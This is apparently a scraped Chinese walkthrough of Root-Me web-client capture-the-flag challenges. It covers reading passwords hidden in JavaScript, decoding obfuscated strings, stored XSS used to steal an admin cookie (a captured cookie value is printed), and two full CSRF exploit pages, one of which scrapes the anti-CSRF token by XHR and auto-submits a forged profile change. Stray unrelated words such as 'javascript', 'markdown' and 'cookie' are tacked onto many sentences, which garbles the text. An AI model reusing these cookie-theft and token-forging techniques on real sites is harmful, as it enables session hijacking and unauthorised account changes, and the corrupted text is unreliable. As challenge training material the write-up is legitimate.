地址:www.root-me.orgjavascript
打開網頁發現按鈕不能按,查看源代碼,有 'disabled' ,按F12進行元素修改,去掉 'disabled'而後提交便可html
查看源碼,在js裏面能夠找到密碼java
這個也是提交答案的密碼web
Ctrl+U 在源碼裏可找到密碼服務器
分析這段js便可,很簡單就是將 'GOD:HIDDEN'用 ":"進行分割,GOD做爲用戶名,HIDDEN做爲密碼,因此最後提交HIDDEN便可markdown
function connexion(){ var username = prompt("Username :", ""); var password = prompt("Password :", ""); var TheLists = ["GOD:HIDDEN"]; for (i = 0; i < TheLists.length; i++) { if (TheLists[i].indexOf(username) == 0) { var TheSplit = TheLists[i].split(":"); var TheUsername = TheSplit[0]; var ThePassword = TheSplit[1]; if (username == TheUsername && password == ThePassword) { alert("Vous pouvez utiliser ce mot de passe pour valider ce challenge (en majuscules) / You can use this password to validate this challenge (uppercase)"); } } else { alert("Nope, you're a naughty hacker.") } } }
查看源代碼,發現密碼,進行urldecode解碼便可cookie
源碼:var pass = unescape("unescape%28%22String.fromCharCode%2528104%252C68%252C117%252C102%252C106%252C100%252C107%252C105%252C49%252C53%252C54%2529%22%29");
xss
兩次urldecode,而後在控制檯運行 document.write(String.fromCharCode(104,68,117,102,106,100,107,105,49,53,54))
便可獲得密碼async
查看源碼能夠看到一段js變形的代碼,這裏須要用到firefox的一個deobfuscator插件。ide
成功添加以後,在firefox菜單的開發者選項之中能夠看到一個"javascript反混淆器",點擊打開,便可分析。
看源碼,分析以後有這一串十六進制
\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30
轉回字符以後是 55,56,54,79,115,69,114,116,107,49,50
,控制檯裏運行document.write(String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50))
便可獲得密碼
無過濾,最簡單的儲存型xss,貼入某個xss平臺的payload便可。
答案:cookie : ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6
註冊,登陸以後有一個提交信息的地方。
讓咱們在message填入咱們xss平臺的payload驗證漏洞。果真存在漏洞。
接下來就是構造惡意頁面,先分析profile頁面。
因此咱們提交的參數值有username,status兩個。最後構造的惡意頁面以下,放在本身服務器上。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF</title> </head> <body> <form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="POST" enctype="multipart/form-data"> <input type="hidden" name="username" value="deen" /> <input type="hidden" name="status" value="on" /> </form> <script> document.csrf.submit()</script> </body> </html>
再message提交,
沒有成功,是哪裏出錯了嗎?求解。
有大佬會嗎,求教...
<!DOCTYPE html> <html> <head> <title>csrf</title> </head> <body onload="get()"> <form id="form-payload" action="?action=profile" method="POST" enctype="multipart/form-data"> <input type="hidden" name="username" value="deen"/> <input type="hidden" name="status" value="on"/> <input type="hidden" id="forged-token" name="token" value=""/> <input type="submit" value="go"/> </form> <script> var x = new XMLHttpRequest(); function get() { x.open("GET","?action=profile",true); x.send(null); } x.onreadystatechange = function() { if (x.readyState == XMLHttpRequest.DONE) { var token = x.responseText.match(/name="token" value="(.+)"/)[1]; document.getElementById("forged-token").value = token; document.getElementById("form-payload").submit(); } } </script> </body> </html>
源代碼以下:
var ð = "\x71\x11\x24\x59\x8d\x6d\x71\x11\x35\x16\x8c\x6d\x71\x0d\x39\x47\x1f\x36\xf1\x2f\x39\x36\x8e\x3c\x4b\x39\x35\x12\x87\x7c\xa3\x10\x74\x58\x16\xc7\x71\x56\x68\x51\x2c\x8c\x73\x45\x32\x5b\x8c\x2a\xf1\x2f\x3f\x57\x6e\x04\x3d\x16\x75\x67\x16\x4f\x6d\x1c\x6e\x40\x01\x36\x93\x59\x33\x56\x04\x3e\x7b\x3a\x70\x50\x16\x04\x3d\x18\x73\x37\xac\x24\xe1\x56\x62\x5b\x8c\x2a\xf1\x45\x7f\x86\x07\x3e\x63\x47"; function _(x, y) { return x ^ y; } function __(y) { var z = 0; for (var i = 0; i < y; i++) { z += Math.pow(2, i); } return z; } function ___(y) { var z = 0; for (var i = 8 - y; i < 8; i++) { z += Math.pow(2, i); } return z } function ____(x, y) { y = y % 8; Ï = __(y); Ï = (x & Ï) << (8 - y); return (Ï) + (x >> y); } function _____(x, y) { y = y % 8; Ï = ___(y); Ï = (x & Ï) >> (8 - y); return ((Ï) + (x << y)) & 0x00ff; } function ______(x, y) { return _____(x, y) } function _______(_________, key) { ________ = ""; ________2 = ""; for (var i = 0; i < _________.length; i++) { c = _________.charCodeAt(i); if (i != 0) { t = ________.charCodeAt(i - 1) % 2; switch (t) { case 0: cr = _(c, key.charCodeAt(i % key.length)); break; case 1: cr = ______(c, key.charCodeAt(i % key.length)); break; } } else { cr = _(c, key.charCodeAt(i % key.length)); } ________ += String.fromCharCode(cr); } return ________; } function __________(þ) { var ŋ = 0; for (var i = 0; i < þ.length; i++) { ŋ += þ["charCodeAt"](i) } if (ŋ == 8932) { var ç = window.open("", "", "\x77\x69\x64\x74\x68\x3d\x33\x30\x30\x2c\x68\x65\x69\x67\x68\x74\x3d\x32\x20\x30"); ç.document.write(þ) } else { alert("Mauvais mot de passe!") } } __________(_______(ð, prompt("Mot de passe?")));
這代碼看得我真蛋疼...美化修改相關變量和函數名以後的代碼以下:
var text = "\x71\x11\x24\x59\x8d\x6d\x71\x11\x35\x16\x8c\x6d\x71\x0d\x39\x47\x1f\x36\xf1\x2f\x39\x36\x8e\x3c\x4b\x39\x35\x12\x87\x7c\xa3\x10\x74\x58\x16\xc7\x71\x56\x68\x51\x2c\x8c\x73\x45\x32\x5b\x8c\x2a\xf1\x2f\x3f\x57\x6e\x04\x3d\x16\x75\x67\x16\x4f\x6d\x1c\x6e\x40\x01\x36\x93\x59\x33\x56\x04\x3e\x7b\x3a\x70\x50\x16\x04\x3d\x18\x73\x37\xac\x24\xe1\x56\x62\x5b\x8c\x2a\xf1\x45\x7f\x86\x07\x3e\x63\x47"; function a(x, y) { return x ^ y; } function b(y) { var z = 0; for (var i = 0; i < y; i++) { z += Math.pow(2, i); } return z; } function C(y) { var z = 0; for (var i = 8 - y; i < 8; i++) { z += Math.pow(2, i); } return z } function d(x, y) { y = y % 8; n = b(y); n = (x & n) << (8 - y); return (n) + (x >> y); } function e(x, y) { y = y % 8; n = C(y); n = (x & n) >> (8 - y); return ((n) + (x << y)) & 0x00ff; } function f(x, y) { return e(x, y) } function g(x, key) { y = ""; z = ""; for (var i = 0; i < x.length; i++) { c = x.charCodeAt(i); if (i != 0) { t = y.charCodeAt(i - 1) % 2; switch (t) { case 0: cr = a(c, key.charCodeAt(i % key.length)); break; case 1: cr = f(c, key.charCodeAt(i % key.length)); break; } } else { cr = a(c, key.charCodeAt(i % key.length)); } y += String.fromCharCode(cr); } return y; } function m(pass) { var ŋ = 0; for (var i = 0; i < pass.length; i++) { ŋ += pass["charCodeAt"](i) } if (ŋ == 8932) { var ç = window.open("", "", "\x77\x69\x64\x74\x68\x3d\x33\x30\x30\x2c\x68\x65\x69\x67\x68\x74\x3d\x32\x20\x30"); ç.document.write(pass) } else { alert("Mauvais mot de passe!") } } m(g(text, prompt("Mot de passe?")));
分析:
關鍵在於g函數,g函數是對輸入處理的核心函數。g函數有兩個參數,一個已知,一個須要咱們輸入,返回值y就是咱們要的密碼。
存儲型xss,目標仍是盜用管理員cookie,應該是有過濾的,先找輸出點,而後fuzz